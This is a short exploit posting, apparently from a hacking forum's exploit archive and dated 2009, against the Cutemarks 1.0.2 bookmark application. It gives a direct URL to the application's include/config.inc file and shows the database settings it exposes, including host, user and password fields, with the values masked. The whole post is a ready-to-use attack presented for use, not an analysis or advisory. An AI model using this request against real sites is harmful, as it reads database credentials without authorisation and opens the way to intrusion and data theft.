Cutemarks 1.0.2 Arbitrary DB Infos Disc. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Cutemarks 1.0.2 Arbitrary DB Infos Disc.

Madde
	Author : Bug Researchers/Septemb0x
	Date : 12.07.2009 21:37:51
	# Cutemarks 1.0.2 Arbitrary DB Infos Disc. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Cutemarks 1.0.2 # Vulnerable Type : Arbitrary Database Config Disclosure Vulnerability # Infection : SQL Info Get... # author : Septemb0x # Script Down.& WebSite : http://sourceforge.net/projects/cutemarks/files/cutemarks-all-included/cutemarks_1-0-2.tar.gz ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > EXPLOIT : http://[target]/[path]/include/config.inc GET TO; # # Settings to connect to the [MySQL-]database # $db_address = ***; $db_port = *; $db_name = *; $db_user = *; $db_password = ***; < -- bug code end of -- >